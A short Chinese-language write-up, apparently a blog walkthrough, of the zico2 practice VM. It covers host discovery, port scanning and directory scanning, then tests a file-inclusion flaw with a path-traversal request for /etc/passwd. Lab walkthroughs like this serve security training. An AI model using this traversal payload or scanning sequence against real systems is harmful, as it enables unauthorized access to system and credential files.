文章目录
第5次 zico2
1.信息收集
1.1 主机发现
netdiscover -r 192.168.81.0/24
1.2 端口扫描
masscan --rate=1000 -p 0-65535 192.168.81.142
发现4个端口
22
80
111
53311
1.3 端口服务识别
nmap -sV -T4 -O 192.168.81.142 -p 22,80,111,53311
1.4 御剑扫描
192.168.81.142
得到一个网址
http://192.168.81.142/index.html
2.漏洞探测
2.1 网页探测
http://192.168.81.142/#portfolio
下面这个网址可能存在文件包含漏洞
http://192.168.81.142/view.php?page=tools.html
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HKQZhuVS-1648372227394)(https://gitee.com/xxb667/img/raw/master/img/image-20220315152825819.png)]
测试文件是否存在文件包含漏洞
http://192.168.81.142/view.php?page=../../../../../../../../../../../../etc/passwd
2.2 目录扫描
dirb http://192.168.81.142
得到的网址
http://192.168.81.142/